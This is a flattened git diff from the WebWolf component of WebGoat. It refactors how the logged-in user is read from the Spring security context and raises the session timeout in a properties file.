||||||
|
|
||||||
if (!user.isPresent()) {
|
return user;
|
||||||
//User is maybe logged in to WebWolf use this user
|
}
|
||||||
Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
|
|
||||||
if (authentication != null && authentication.getPrincipal() instanceof WebGoatUser) {
|
private Optional<String> getLoggedInUser() {
|
||||||
WebGoatUser wg = (WebGoatUser) authentication.getPrincipal();
|
Optional<String> user = empty();
|
||||||
user = of(wg.getUsername());
|
//User is maybe logged in to WebWolf use this user
|
||||||
}
|
Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
|
||||||
|
if (authentication != null && authentication.getPrincipal() instanceof WebGoatUser) {
|
||||||
|
WebGoatUser wg = (WebGoatUser) authentication.getPrincipal();
|
||||||
|
user = of(wg.getUsername());
|
||||||
}
|
}
|
||||||
return user;
|
return user;
|
||||||
}
|
}
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
server.error.include-stacktrace=always
|
server.error.include-stacktrace=always
|
||||||
server.error.path=/error.html
|
server.error.path=/error.html
|
||||||
server.session.timeout=600
|
server.session.timeout=6000
|
||||||
#server.contextPath=/WebWolf
|
#server.contextPath=/WebWolf
|
||||||
server.port=8081
|
server.port=8081
|
||||||
server.session.cookie.name = WEBWOLFSESSION
|
server.session.cookie.name = WEBWOLFSESSION
|
||||||
|
Loading…
x
Reference in New Issue
Block a user